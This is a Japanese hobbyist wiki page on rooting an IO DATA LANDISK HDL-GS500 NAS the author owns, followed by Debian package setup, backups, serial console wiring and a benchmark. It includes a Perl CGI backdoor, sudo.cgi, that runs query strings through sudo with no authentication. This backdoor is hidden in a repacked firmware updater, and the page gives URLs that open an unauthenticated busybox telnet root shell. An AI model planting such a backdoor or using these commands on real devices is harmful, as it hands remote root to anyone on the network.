digital西行庵 wiki  Index  Search  Changes  PageRank  RSS  Login

HDL-GS プチ・ハック

ページを編集するにはログインが必要です。

ターゲット

IO DATA LANDISK Home HDL-GS500

ヨドバシAKIBAで¥27,800-で購入。ちなみに「価格.com」の最安は¥21,790-。(2008年5月現在)

いずれにしても 50円/Gbyte程度でlinux server のおまけつきとは、恐ろしい時代になったものだ。

忠告

この作業は、自己所有の機械に対し、自己責任で行ってください。最悪の場合、起動不能となり、単なるHDDに成り下がります。改造に該当しますので、メーカの保障は一切受けられません。他人の機械に無断で適用すると犯罪になります。かかる作業による損害は、作業者に起因します。当方は一切関知しませんので悪しからず。

偽装アップデータ for HDL-GS

ひとはそれをトロイの木馬と呼ぶ

この作業にはunixマシンが必要です。私はアップデータを公開するほど心やさしくありません。「この程度の作業を行うスキルの無い方は止めておきなさい」と忠告しておきます。

1.純正アップデータを入手する。

HDL-GSシリーズ ファームウェア 2007/12/18 1.01

2.tar xvzf でアップデータ本体を解凍

3.tar xvzf で変更ディレクトリを解凍

4./usr/local/public に sudo.cgi を追加

これがsudo.cgiという木馬

#!/usr/bin/perl
print "content-type: text/plain\n\n";
$_ = $ENV{QUERY_STRING};
s?%20? ?g;
print `sudo $_`;
exit;

5.tar cvzf で変更ディレクトリを圧縮

6.for_HDL-GS_seriseを修正

1.01 -> 1.01.01

7.tar cvzf でアップデータ本体を圧縮

8.ブラウザでログインします

ssh接続に備え、rootパスワードを設定しておきましょう。

9.ブラウザでファームウエア・アップデート〜再起動

10.以降、ブラウザよりsudo.cgiでsudoが実行できる

http://landisk-XXXXXX/sudo.cgi?ls%20/

これで、やりたい放題だが、ワン・ライナでは不便。

11.sshdを起動する

http://landisk-XXXXXX/sudo.cgi?/usr/sbin/sshd

12.ssh端末からプレーンsshでログイン

13./ がroでmountされている

$ sudo mount -o remount,rw /

再起動すると元の木阿弥、ro。

14.これで本当にやりたい放題。

HDL-GS の telnet

-Fとか-Gとかの昔あった /sbin/telnet が無いと思っていたら, busybox で起動するようだ。 /etc/rc.local の14,15行めに

14 # TELNET(for debug)
15 # busybox telnetd -l /bin/sh

と、あるので、15行目のコメントアウトをはずし再起動すれば動きだす。

もちろんワンタイムで手打ちしてやってもよい。こんな感じ。

LANDISK-XXXXXX:/# /bin/busybox telnetd -l /bin/sh

cgiでやる場合は

http://landisk-XXXXXX/sudo.cgi?/bin/busybox%20telnetd%20-l%20/bin/sh

認証なしでルート・ログインできてしまう。恐ろしい。確かにfor debugだ。

dpkg や apt や aptitude が使いたい

dpkg apt aptitude で最低限必要なディレクトリ・ファイル

/mnt/hda5/landisk
|-- apt/ =====================> /var/lib/apt
|   `-- lists/
|       |-- lock
|       `-- partial/
|-- apt-cache/ ===============> /var/cache/apt
|   `-- archives/
|       `-- partial/
|-- aptitude/ ================> /var/lib/aptitude
|-- debconf-cache/ ===========> /var/cache/debconf
`-- dpkg/ ====================> /var/lib/dpkg
    |-- available
    |-- info/
    |-- status
    `-- updates/
mkdir /mnt/hda5/landisk
mkdir /mnt/hda5/landisk/apt
mkdir /mnt/hda5/landisk/apt/lists
touch /mnt/hda5/landisk/apt/lists/lock
mkdir /mnt/hda5/landisk/apt/lists/partial
mkdir /mnt/hda5/landisk/apt-cache
mkdir /mnt/hda5/landisk/apt-cache/archives
mkdir /mnt/hda5/landisk/apt-cache/archives/partial
mkdir /mnt/hda5/landisk/aptitude
mkdir /mnt/hda5/landisk/debconf-cache
mkdir /mnt/hda5/landisk/dpkg
touch /mnt/hda5/landisk/dpkg/available
mkdir /mnt/hda5/landisk/dpkg/info
touch /mnt/hda5/landisk/dpkg/status
mkdir /mnt/hda5/landisk/dpkg/updates
ln -s /mnt/hda5/landisk/dpkg /var/lib/dpkg
ln -s /mnt/hda5/landisk/apt /var/lib/apt
ln -s /mnt/hda5/landisk/aptitude /var/lib/aptitude
ln -s /mnt/hda5/landisk/apt-cache /var/cache/apt
ln -s /mnt/hda5/landisk/debconf-cache /var/cache/debconf

この時点で

# dpkg -l 

で、エラーの出ない事を確認。

/etc/init.d/rc.local に以下を追加。

/usr/sbin/sshd
ln -s /mnt/hda5/landisk/dpkg /var/lib/dpkg
ln -s /mnt/hda5/landisk/apt /var/lib/apt
ln -s /mnt/hda5/landisk/aptitude /var/lib/aptitude
ln -s /mnt/hda5/landisk/apt-cache /var/cache/apt
ln -s /mnt/hda5/landisk/debconf-cache /var/cache/debconf

下記を wgetして

ftp://ftp2.jp.debian.org/debian/pool/main/d/db1-compat/libdb1-compat_2.1.3-9_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/gcc-4.1/libgcc1_4.1.1-21_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/gcc-3.3/libstdc++5_3.3.6-15_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/gcc-3.3/gcc-3.3-base_3.3.6-15_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/gcc-4.1/libstdc++6_4.1.1-21_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/gcc-4.1/gcc-4.1-base_4.1.1-21_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/n/ncurses/libncurses5_5.5-5_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/d/dpkg/dselect_1.13.25_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/d/dpkg/dpkg_1.13.25_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/g/glibc/libc6_2.3.6.ds1-13etch5_arm.deb
ftp://ftp2.jp.debian.org/debian/pool/main/t/tzdata/tzdata_2007j-1etch1_all.deb
# dpkg -i --force-depends libdb1-compat_2.1.3-9_arm.deb
 :
 :
 :

ってな感じで、エラーを出しつつ、インストールしてゆく。そのうち、apt-get も aptitude もエラー無しで通るようになる。

gcc3.3 がらみは不要かもしれません。 すんません、この手順どおりやればOKというのは確立していません。

先人たちのバージョンはすでに過去のものだし、これらのバージョンも変動してゆくでしょう。

とにかく aptitude が動き出せばこっちのもの。

めでたく aptitude がうごきだしたら

LANDISK-XXXXXX:/~# aptitude update
取得:1 http://ftp.jp.debian.org etch Release.gpg [378B]
発見 http://ftp.jp.debian.org etch Release
取得:2 http://security.debian.org etch/updates Release.gpg [189B]
取得:3 http://security.debian.org etch/updates Release [37.6kB]
無視 http://ftp.jp.debian.org etch/main Packages/DiffIndex
無視 http://ftp.jp.debian.org etch/main Sources/DiffIndex
発見 http://ftp.jp.debian.org etch/main Packages
発見 http://ftp.jp.debian.org etch/main Sources
無視 http://security.debian.org etch/updates/main Packages/DiffIndex
無視 http://security.debian.org etch/updates/main Sources/DiffIndex
取得:4 http://security.debian.org etch/updates/main Packages [304kB]
取得:5 http://security.debian.org etch/updates/main Sources [48.3kB]
390kB を 5s 秒でダウンロードしました (76.8kB/s)
パッケージリストを読み込んでいます... 完了
LANDISK-XXXXXX:/~# aptitude upgrade
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています... 完了
拡張状態情報を読み込んでいます
パッケージの状態を初期化しています... 完了
タグのデータベースを構築しています... 完了
インストール・削除・更新されるパッケージがありません。
更新: 0 個、新規インストール: 0 個、削除: 0 個、保留: 0 個。
0B のアーカイブを取得する必要があります。展開後に 0B のディスク領域が新たに消費されます。
LANDISK-XXXXXX:/~#

快適快適。

rsync を動かしたい

aptitude が動いていれば楽勝。

# aptitude install rsync

rsync で現状を /mnt/hda6 とか、他のマシンにバックアップしましょう。

USB I/F 外付けHDDを付ける

IDE500G が転がっていたのでUD-303SMで接続してみた。

# dmesg

sda1に付いた様だ。

# fdisk /dev/sda1
# mkfs -t ext3 /dev/sda1
# mkdir -p /media/usb-hdd
# mount /dev/sda1 /media/usb-hdd

これで cron/rsync で、夜中に/mnt/hda6 のバックアップができるぞ。

コンソールを動かしたい。(ハード改造が必要)

固定IPにしようと思ったら、ネットワーク上から消えてしまった。

セグメントから外れたか?最後の手段。コンソールをつないでみる。 DSC_0259.JPG

LEDのある正面から見て、右側が蓋。丸印の10箇所で嵌合している。マイナスドライバなどであおる。うまくやれば、指だけでもOKなはず。

アルミ板が両面テープで蓋、及び×印のHDD板金と貼りついている。嵌合部をはずして、ゆっくり剥がすと、きれいにはずれるでしょう。

私は先にアルミ板を無理やり剥がして曲げてしまいました。

HDL-GS_console.gif

DSC_0257.JPG

ボー・レート:115200
データ   :8
パリティ  :none
ストップ  :1
フロー制御 :none

で通信できる様です。

理由は不明だが、/sbin/ifup だの /sbin/ifconfig だのネットワークがらみのバイナリが消滅している。消去した覚えはない。無理無理アップデートの祟りか?

rsync で /mnt/hda6 に退避しておいたバイナリを元に戻す。

ヘタこいた。手持ちのコネクタを付けたら背が高くて蓋が閉まらなくなった。電線直半田付けすべきだったorz

コンパイル環境を整える

$ sudo aptitude install gcc
$ sudo aptitude install make
$ sudo aptitude install m4

GMP (GNU Multi-Precision)ライブラリを入手、コンパイルする

the GNU Multiple Precision Arithmetic Library

$ wget ftp://ftp.gnu.org/gnu/gmp/gmp-4.2.2.tar.gz
$ tar zxvf gmp-4.2.2.tar.gz 
$ cd gmp-4.2.2
$ ./configure
$ make
$ sudo make install

円周率100万桁を計算させる

GNU/Linux上で円周率の計算をおこなうの「すずきひろのぶ」氏のソースを使用させていただきました。 結果:

$ time ./pi > pi.txt
real    5m57.685s
user    5m38.960s
sys     0m11.680s

んーさすがに遅い。

2008/05/06現在のdpkg -l

LANDISK-XXXXXX:/~# dpkg -l
要望=(U)不明/(I)インストール/(R)削除/(P)完全削除/(H)維持
| 状態=(N)無/(I)インストール済/(C)設定/(U)展開/(F)設定失敗/(H)半インストール
|/ エラー=(空欄)無/(H)維持/(R)要再インストール/X=両方(状態,エラーの大文字=異常)
||/ 名前           バージョン  説明
+++-================-================-================================================
ii  apt              0.6.46.4-0.1     Advanced front-end for dpkg
ii  aptitude         0.4.4-4          terminal-based apt frontend
ii  aptitude-doc-en  0.4.4-4          English manual for aptitude, a terminal-based ap
ii  base-passwd      3.5.11           Debian base system master password and group fil
ii  binutils         2.17-3           The GNU assembler, linker and binary utilities
ii  coreutils        5.97-5.3         The GNU core utilities
ii  cpp              4.1.1-15         The GNU C preprocessor (cpp)
ii  cpp-4.1          4.1.1-21         The GNU C preprocessor
ii  debconf          1.5.11etch1      Debian configuration management system
ii  debconf-i18n     1.5.11etch1      full internationalization support for debconf
ii  debian-archive-k 2007.07.31~etch1 GnuPG archive keys of the Debian archive
ii  dpkg             1.13.25          package maintenance system for Debian
ii  dselect          1.13.25          user tool to manage Debian packages
ii  gcc              4.1.1-15         The GNU C compiler
ii  gcc-3.3-base     3.3.6-15         The GNU Compiler Collection (base package)
ii  gcc-4.1          4.1.1-21         The GNU C compiler
ii  gcc-4.1-base     4.1.1-21         The GNU Compiler Collection (base package)
ii  gnupg            1.4.6-2          GNU privacy guard - a free PGP replacement
ii  gpgv             1.4.6-2          GNU privacy guard - signature verification tool
ii  ifupdown         0.6.8            high level tools to configure network interfaces
ii  iputils-ping     20020927-6       Tools to test the reachability of network hosts
ii  libacl1          2.2.41-1         Access control list shared library
ii  libattr1         2.4.32-1         Extended attribute shared library
ii  libbz2-1.0       1.0.3-6          high-quality block-sorting file compressor libra
ii  libc6            2.3.6.ds1-13etch GNU C Library: Shared libraries
ii  libc6-dev        2.3.6.ds1-13etch GNU C Library: Development Libraries and Header
ii  libclass-accesso 0.30-1           Automated accessor generator
ii  libdb1-compat    2.1.3-9          The Berkeley database routines [glibc 2.0/2.1 co
ii  libdb4.2         4.2.52+dfsg-2    Berkeley v4.2 Database Libraries [runtime]
ii  libdb4.4         4.4.20-8         Berkeley v4.4 Database Libraries [runtime]
ii  libgcc1          4.1.1-21         GCC support library
ii  libgcrypt11      1.2.3-2          LGPL Crypto library - runtime library
ii  libgdbm3         1.8.3-3          GNU dbm database routines (runtime version)
ii  libgnutls13      1.4.4-3          the GNU TLS library - runtime library
ii  libgpg-error0    1.4-1            library for common error values and messages in
ii  libgpmg1         1.19.6-25        General Purpose Mouse - shared library
ii  libhtml-parser-p 3.55-1           A collection of modules that parse HTML text doc
ii  libhtml-tagset-p 3.10-2           Data tables pertaining to HTML
ii  libhtml-template 2.8-1            HTML::Template : A module for using HTML Templat
ii  libio-string-per 1.08-2           Emulate IO::File interface for in-core strings
ii  libldap2         2.1.30-13.3      OpenLDAP libraries
ii  liblocale-gettex 1.05-1           Using libc functions for internationalization in
ii  liblzo1          1.08-3           data compression library (old version)
ii  libmudflap0      4.1.1-21         GCC mudflap shared support libraries
ii  libmudflap0-dev  4.1.1-21         GCC mudflap support libraries (development files
ii  libncurses5      5.5-5            Shared libraries for terminal handling
ii  libncursesw5     5.5-5            Shared libraries for terminal handling (wide cha
ii  libopencdk8      0.5.9-2          Open Crypto Development Kit (OpenCDK) (runtime)
ii  libparse-debianc 1.0-1            parse Debian changelogs and output them in other
ii  libpopt0         1.10-3           lib for parsing cmdline parameters
ii  libreadline5     5.2-2            GNU readline and history libraries, run-time lib
ii  libsasl2-2       2.1.22.dfsg1-8   Authentication abstraction library
ii  libsasl2-modules 2.1.22.dfsg1-8   Pluggable Authentication Modules for SASL
ii  libselinux1      1.32-3           SELinux shared libraries
ii  libsepol1        1.14-2           Security Enhanced Linux policy library for chang
ii  libsigc++-2.0-0c 2.0.17-2         type-safe Signal Framework for C++ - runtime
ii  libssl0.9.8      0.9.8c-4etch1    SSL shared libraries
ii  libssp0          4.1.1-21         GCC stack smashing protection library
ii  libstdc++5       3.3.6-15         The GNU Standard C++ Library v3
ii  libstdc++6       4.1.1-21         The GNU Standard C++ Library v3
ii  libtasn1-3       0.3.6-2          Manage ASN.1 structures (runtime)
ii  libtasn1-3-bin   0.3.6-2          Manage ASN.1 structures (binaries)
ii  libtext-charwidt 0.04-4           get display widths of characters on the terminal
ii  libtext-iconv-pe 1.4-3            converts between character sets in Perl
ii  libtext-wrapi18n 0.06-5           internationalized substitute of Text::Wrap
ii  libtimedate-perl 1.1600-5         Time and date functions for Perl
ii  liburi-perl      1.35-2           Manipulates and accesses URI strings
ii  libusb-0.1-4     0.1.12-5         userspace USB programming library
ii  libwrap0         7.6.dbs-13       Wietse Venema's TCP wrappers library
ii  libxml-libxml-co 0.13-5           Perl module for common routines & constants for
ii  libxml-libxml-pe 1.59-2           Perl module for using the GNOME libxml2 library
ii  libxml-namespace 1.09-3           Perl module for supporting simple generic namesp
ii  libxml-sax-perl  0.12-5           Perl module for using and building Perl SAX2 XML
ii  libxml-simple-pe 2.14-5           Perl module for reading and writing XML
ii  libxml2          2.6.27.dfsg-2    GNOME XML library
ii  links            0.99+1.00pre12-1 Character mode WWW browser
ii  linux-kernel-hea 2.6.18-7         Linux Kernel Headers for development
ii  lsb-base         3.1-23.2etch1    Linux Standard Base 3.1 init script functionalit
ii  m4               1.4.8-2          a macro processing language
ii  make             3.81-2           The GNU version of the "make" utility.
ii  makedev          2.3.1-83         creates device files in /dev
ii  ncurses-bin      5.5-5            Terminal-related programs and man pages
ii  net-tools        1.60-17          The NET-3 networking toolkit
ii  netbase          4.29             Basic TCP/IP networking system
ii  openbsd-inetd    0.20050402-6     The OpenBSD Internet Superserver
ii  perl             5.8.8-7etch3     Larry Wall's Practical Extraction and Report Lan
ii  perl-base        5.8.8-7etch3     The Pathologically Eclectic Rubbish Lister
ii  perl-modules     5.8.8-7etch3     Core Perl modules
ii  readline-common  5.2-2            GNU readline and history libraries, common files
ii  rsync            2.6.9-2etch2     fast remote file copy program (like rcp)
ii  sed              4.1.5-1          The GNU sed stream editor
ii  sgml-base        1.26             SGML infrastructure and SGML catalog file suppor
ii  tcpd             7.6.dbs-13       Wietse Venema's TCP wrapper utilities
ii  tree             1.5.0-2          displays directory tree, in color
ii  tzdata           2007j-1etch1     Time Zone and Daylight Saving Time Data
ii  update-inetd     4.27-0.5         inetd.conf updater
ii  xml-core         0.09-0.1         XML infrastructure and XML catalog file support
ii  zlib1g           1.2.3-13         compression library - runtime
LANDISK-XXXXXX:/~#

links と tree は、あくまで私の趣味。これが何かが分からない人は各自調べる様に。 ってか、横に書いてあるじゃないか。読み給へ。

参考にさせていただいた先人の皆様のサイト 感謝!

Last modified:2020/06/09 10:14:26
Keyword(s):
References: